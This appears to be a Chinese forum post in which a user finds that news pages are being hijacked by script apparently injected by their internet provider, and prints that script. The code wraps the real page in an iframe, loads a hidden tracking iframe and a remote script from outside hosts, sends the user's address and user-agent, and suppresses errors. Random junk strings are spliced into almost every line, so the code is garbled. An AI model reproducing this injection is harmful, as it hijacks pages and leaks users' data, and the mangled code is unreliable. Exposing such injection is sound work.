|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑
?: l5 d4 A5 q7 s
& D) y, e; p* h5 T- u上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
- G8 L3 i5 C3 k- s( W, o; q1 I2 D! _
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}" s! X. }+ L5 M9 W) s; H" v
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197
% M5 r& u g: U* C$ W0 z+ y4 W) p
" E4 O2 Q& z% [) V t# a6 i顺便查下ip138:2 L3 X, X B) I6 k0 n
- F4 o+ p( [9 m( g( @这是那段js里面的代码,好象是个半成品还没写入广告数据: b0 \1 r7 z, o; [$ t2 F
- function locationSearch() {
4 U$ L+ {1 c I7 ^0 M9 e$ d; S - var s = getMainJs();2 E; O0 {. N8 F; K2 \ K7 _
- if (s == null) {
/ B" ~6 L$ L X; w9 g - location.reload();
5 C. m3 Y% I- F6 X) e; ?1 X' q - }4 k5 v- {- T7 Z2 K
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);+ U2 e1 ^2 E4 m3 n* u% @8 T( g% \# D
- }
# z7 C6 D( R" M3 s6 o- R# d - 2 v( V( F2 u0 R: U
- function getParameter(name, paraStr) {# E `6 m! ~2 l7 k8 r% s+ f3 ]4 z
- var result = "";5 t& `. H1 @, h% O$ i/ q2 |
- var str = "&" + paraStr.split("?")[1];
; k9 N9 A* b; k. {& q- m - var paraName = "&" + name + "=";
9 ]. \+ _2 `$ Q* D - if (str.indexOf(paraName) != -1) {
, ]1 l. }$ n. m& l8 p3 ~. y - if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {9 e k4 |* A/ R$ ?; Y
- var TmpStr = str.substring(str.indexOf(paraName), str.length);6 a! e8 m. U* i- E0 }
- result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(& z- _- Y! `) Y& ]8 v: Z* N
- 1, TmpStr.length).indexOf("&")- }" ?* l5 }2 \
- - TmpStr.indexOf(paraName) + 1);! o- l5 G, d9 a5 U( |
- } else {
4 s3 P% r. q9 h/ F* V - result = str.substring(str.indexOf(paraName), str.length);: g* |1 P. X$ E$ @, |# T
- }
2 Q8 v+ i4 B: a# ^, m! r4 h# k - . ^3 C; U, Y5 i
- result = result.substring(result.indexOf("=") + 1, result.length);
% }' z$ e$ n% Q% w; L/ B+ Q6 a" L - } else {6 T9 D" E- P- {4 K8 H4 D
- result = "No such parameter";
7 D5 Z, g6 C0 S5 d" ?& E - }
* J0 I" V j, E9 l7 C- s - return (result.replace("&", ""));3 u( _. B; A+ X+ X1 l4 X0 I
- }+ V, U6 Q, J+ e+ v- p7 C: ]$ Z
- ) W" V0 M7 a0 g v. [+ D0 }
- function getMainJs() {. w' R! a' P) x) Y& ]! A; Q" x
- var scripts = document.getElementsByTagName("script");: J6 M- s1 i: a+ r3 i
- var s = null;4 j1 N- ~- y2 Z+ I6 L# `
- for (var i = 0; i < scripts.length; i++) {
) f4 F& i2 C: v" ^ - if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
8 w# Z8 U) H3 J( | - s = scripts[i];4 D% n- d' _: C2 m: C" n
- break;
( o" d- b7 ?. U - }
9 @# x @- a0 T7 U" ^6 w6 t. m - }
, L7 _+ D8 I' @. R% U1 o: Q3 N7 s8 a - return s;# T) G5 t% Q* L9 q$ J
- }! f$ L) t8 D: U. A G) ~
- 1 i" F( p9 X& Y. ]: K- d4 j
- function appendParam(oStr, aStr) {; |% Z9 Y/ H7 @" d: w: n' _
- if (oStr.indexOf('?') > 0) {" A, o+ u# W* l) Y" P/ V" s
- oStr = oStr + "&" + aStr;) {: A# W* s8 S2 }9 b
- } else {1 L. t' e( Y9 i+ P, A p j5 T2 e# @
- oStr = oStr + "?" + aStr;
# `; q- C7 L+ W) ]/ H7 M - }
0 ]0 M( g1 s0 q' W/ g- X - return oStr;
; H0 C( d9 F& J) k0 x - }! t! K6 Z. a# v: B9 E) w% H# d
- f- {7 K1 f f+ J5 ~5 i. y2 O" U- window.onerror = function() {
% @4 T5 Y) D$ z! B- I3 O/ Y; M9 V4 K - };1 ]% U5 E7 O g! S6 ? z
- . _+ n2 | X# j/ ?" O. _
- var g_titleTime = 0;; Q* ~& e6 o9 A, k# k4 H: T
- function setTcTitle() { V% b; X3 ^5 B2 K, p E9 F( @
- if (undefined == document) {
( x% o1 z c6 H% d: j& b - g_titleTime++;
. P7 ^7 b6 H% r$ f6 q4 u2 u# U - setTimeout("setTcTitle();", 1000);
2 ~& t4 J H& n; t0 [( W0 V - return;9 w$ }6 ]- @) M H) T$ N5 l0 W
- }+ n5 _' K" C3 O: X9 J, [
7 [- f( e8 i. R* H+ V- var doc;
; B! _! n: p! n+ r+ {6 N/ F - try {" y( W% w, a7 ]1 P( m) k. h9 s( o
- if (document.all) {
9 j' |+ Y9 @7 z+ c H6 E - doc = document.frames["cn"].document;# d, t3 f. D0 |# V3 l, F
- } else {
2 q7 J' O: n) m! z2 Y, D0 N - doc = document.getElementById("cn").contentDocument;- {0 i; L" {8 r R$ j
- }9 {9 g9 |- e% j: l) z6 W1 c7 u8 J
- } catch (ex) {
5 E( E- o7 m. {6 N. C - }0 Z- j0 D6 ^( I% ?, w8 o" e. b' l) K
- ( ]) S5 r2 K- W% W
- if (g_titleTime < 54 h$ y7 M" Y/ D8 E( ]* U
- && (undefined == doc || undefined == doc.title || "" == doc.title)) {
: A" F( ]5 Z% D+ z - g_titleTime++;
! }( _- T+ E9 ?# {; N - setTimeout("setTcTitle();", 1000);7 ?4 `4 k Y4 _+ V* m& I
- return;
D+ d9 Q# Y! ? - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {' Q0 V/ @# _9 g! w! C* S
- document.title = doc.title;% E; T0 H. o T$ ]( b
- setTcAdvVisible();5 K+ ]2 I A* Z: C/ t& c5 x
- }' _ }$ m6 E8 k
- }3 e; |0 d X6 z$ f6 }3 B" M, X; Z
9 Q X3 p! |; Z p- setTimeout("setTcTitle();", 1000);
* x& i! p4 [/ S! ?2 `/ R - * A6 Q8 {/ B5 {- m6 @9 ?$ D
- var g_isHaveVisible = false;5 g- i& {0 M6 z3 w$ o
- function setTcAdvVisible() {
' }: ^$ Q' f* b3 W - if (undefined != document && undefined != document.getElementById("addiv")$ R) S h" a4 o9 }# u2 X! m
- && !g_isHaveVisible) {
7 J* l8 C1 O# Q# Z* a5 x* e9 v - document.getElementById("addiv").style.visibility = 'visible';
& s" }: i' Y3 L# z3 g( a8 Y9 V - document.getElementById("addiv").style.display = 'block';9 P g! g5 G" W1 J
- g_isHaveVisible = true;1 v1 g3 f+ e- ^7 H6 S
- }8 \9 B8 w: w+ U* R$ Q" P
- }' r9 A) B5 z$ Q% ?2 f) L
- . G% F3 m, B$ x% K; r! j$ j" s3 t
- function UrlAnalyzer() {6 u, V+ N& G6 H: u
- this.divda = "";
9 Y1 h6 c) K9 H) W5 H/ p0 T) N - this.tctype = "";
B. I: U, d9 c4 q1 N - this.radius = "";2 Q* `" g1 l+ u( _. L3 D& I8 E- B$ {
- this.rlu = "";
/ H! h: w/ E1 R. X' ~7 [- W - }
5 W! w! r L' a% x' F M - 1 I+ P: Z# ~* @4 {: Q/ A
- UrlAnalyzer.prototype.initParameters = function() {
4 B. X# f- N3 b2 ^ - var paraStr = locationSearch();! Q8 j6 d* e& f G. j2 h
- this.rlu = getParameter("lruedct", paraStr);
0 j8 \( }, E( k - this.divda = getParameter("divda", paraStr);
- L4 @% x6 R' U) e0 @ - this.radius = getParameter("radius", paraStr);9 _6 _. o) Q% [8 D& D+ | Q. D
- this.tctype = getParameter("tctype", paraStr);
* e! e, E" F* Y# w7 B9 d5 P - this.address = getParameter("address", paraStr);
/ t4 }1 M. ]" v# ~. F6 j5 e - this.usagent = getParameter("usagent", paraStr);( F1 X i; y3 B# I
- }! A2 }- L. f) K1 m( d) b
: t3 v' r- G7 W9 U% E- UrlAnalyzer.prototype.getHtmlDoc = function() {
% e9 ^* H" [& y& @ - var doc;
7 K- T6 `* D+ |% O! R- _/ t - try {
2 C: t* P: M! E9 ]4 |* l4 m( j% P - if (document.all) {
4 y% X3 r! g& ] - doc = document.frames["cn"].document;
/ R; e1 C2 L$ A4 \ - ) X {' [' ?' }# u
- } else {
9 _9 K a3 W9 M2 ]- v# t2 ~# W/ p! F) Q - doc = document.getElementById("cn").contentDocument;4 s( I7 O! z* D3 o
- // doc = document.getElementById("cn").contentWindow.document;$ g: a' d* A# Q4 H2 M1 l
- }8 f) b+ Y2 R/ x* O! s
- } catch (ex) {
/ G% L. ^- b% t" U - }1 r: v& _: @ S# A) B
- return doc;2 i2 V# \7 v6 S H3 O: @
- }) m, `; }) d5 J4 _- w. O4 N. Z9 N
- + t1 h9 V7 U/ x% O# N* d
- UrlAnalyzer.prototype.setDomain = function() {
4 |5 g4 B5 [; _0 U - if (undefined != document.title && "" == document.title) z Q, O9 {# G) V
- {
5 A+ v& B. G/ z$ c6 I - var index = document.domain.indexOf(".");7 C+ s- o; T9 y* `
- if (undefined != index && -1 != index) {
6 \. S ^) S2 h2 H( u$ ~ - document.domain = document.domain.substring(index + 1,
' j% D/ |1 O E) ` - document.domain.length);# l H& }4 T! i: V
- }5 \& l0 Y; K% k) `
-
. x- J4 s5 E8 Q; g' d7 w. R# v - var doc = this.getHtmlDoc();
% l7 q. b9 z/ {) ~5 B( {4 M E% j - if (undefined != doc && undefined != doc.title && "" != doc.title) {$ }6 B, r; l" R4 t5 g4 w8 w
- document.title = doc.title;
5 [# D8 F% a' S4 f' r2 b- ^0 c) L - setTcAdvVisible();: a) e5 j! ^! t
- }
) K4 D, M( L- [* h( h: |' a - }3 D1 Z6 c* L, [
- }1 @3 e$ B! `: P* O I
- 3 g& F+ K. R7 P! z
- UrlAnalyzer.prototype.iframeCallback = function() {
n( ^. b: _7 V4 _3 g" @ - var doc = this.getHtmlDoc();
$ t f- @* o: X+ a& Z- \8 F# u - if (undefined == doc || undefined == doc.title || "" == doc.title) {
$ h4 M1 F* v% i7 y. z2 l) k - if (undefined != document.domain) {: N, N7 h6 }4 W" b" k; L1 P
- 7 i# j& x% j. i! P
- var self = this;0 i* ]- s) I) L. f( Q4 [3 q$ S
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);* m2 ~$ M; Z' ^
- // var index = document.domain.indexOf(".");2 @& r5 T1 o% |; a
- // if (undefined != index && -1 != index) {
6 C: e- L7 ^7 n* x! }- W3 N/ Q( X - // document.domain = document.domain.substring(index + 1,( Y( @$ m+ q# A; M! a- Z) k
- // document.domain.length);
' p" [& j. u A* @; h - // }
2 y; o& ^" e( H/ k5 E - //
5 X6 [$ P9 @4 ?7 p; F" B - // var doc = this.getHtmlDoc();$ J' w/ ~9 I+ D1 C8 K
- // if (undefined != doc && undefined != doc.title && "" !=3 e$ X) W: L4 ^) e( w/ ~
- // doc.title) {
; C/ N! E' F9 i - // document.title = doc.title;
1 y m' ~/ M1 J W - // setTcAdvVisible();$ P& g7 e7 y$ W5 x
- // }" [8 e! }+ o% a0 j7 o. L
- }3 S4 I% r. u1 X1 F3 \
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {) N" P* @+ S* ~. Y
- document.title = doc.title;) T8 x4 p, S5 @, q
- setTcAdvVisible();
& z6 K. i8 ?0 u' Q* {" S& v' [ - }5 A( e- R( S- _9 O! r
- }; N! X. {7 M* e3 C
- . T% {5 {: y1 E: @. q2 @
- UrlAnalyzer.prototype.executeHtmlContext = function() {
/ K4 R# a* I' { - var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
- c4 a3 s3 j9 i - + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
( @1 s3 f! i/ k. F - 3 \& h0 B) ?" y
- var htmlStr = "<iframe src="" + staUrl+ A: t; P& ^- f3 s7 `" [" |
- + "" style="display:none"></iframe>";
7 Q% z/ ~* }2 ^; E
6 w+ y* r# ~9 k K$ P: S- var advUrl = htmlStr
' a, M `) b4 v, Y7 m8 y - + "<script src="http://c2.sxite.com:8060/center?advId="
2 N# [, T2 c, t9 v% p - + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";- @4 @# l% U- `. S
- document.write(advUrl); d+ u+ U3 x$ H5 I
- % E0 q7 D& d g7 @9 e" V( M
- var self = this;+ u4 o3 u/ {- J2 c% ?
- var iframe = document.getElementById("cn");
# w5 u% m0 u4 _; W0 e- n - if (iframe.attachEvent) {5 f3 g& L$ ^2 I$ F5 P- E
- iframe.attachEvent("onload", function() {
% J( E6 s$ W3 ?3 w' x - self.iframeCallback.call(self, null);* B- h6 }- R0 E. F
- });/ ~! C0 x1 L( T
- } else {
+ o2 Q0 Q9 F4 W" U. e) d O - iframe.onload = function() {
7 k- F6 `. x! `; a9 A1 m - self.iframeCallback.call(self, null);7 q4 Y' P, t% A8 j, G+ i% V
- }2 \3 f" e6 e# b5 D9 X) H! B
- }- }* k Z* X- V$ t. R) z( U
- }
5 v4 Q8 `# |* A/ i) ` - 2 O: A/ \) I4 y0 y( H
- UrlAnalyzer.prototype.executeMain = function() {/ @9 A0 \4 u, Y' ?% b4 ]
- var mainFrame = document.getElementById("cn");
) r0 H. [ y+ N - mainFrame.contentWindow.location.href = mainFrame.src;. c2 P6 N. m& ~1 U- s' a* b. J
- this.initParameters();% e6 t0 Q9 h9 {4 S* N3 u6 h( F9 W t
- this.executeHtmlContext();6 M/ ?0 r8 k& t" Z8 A( A- P
- }
0 F; f' j. F+ \
* `( n( U$ J* }" C1 C/ q8 z# T- var g_analyzer = new UrlAnalyzer();
6 J, V8 m( r, P/ O- e+ N7 x+ V5 g - g_analyzer.executeMain();
" r/ T4 ^9 }; j2 Z
复制代码 3 t) r$ F7 r9 }; N4 s1 P
7 d1 p, |* ~! d5 ]7 [: y$ l3 n
5 b- Z% a6 K( I+ g& M; P9 L |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
×
|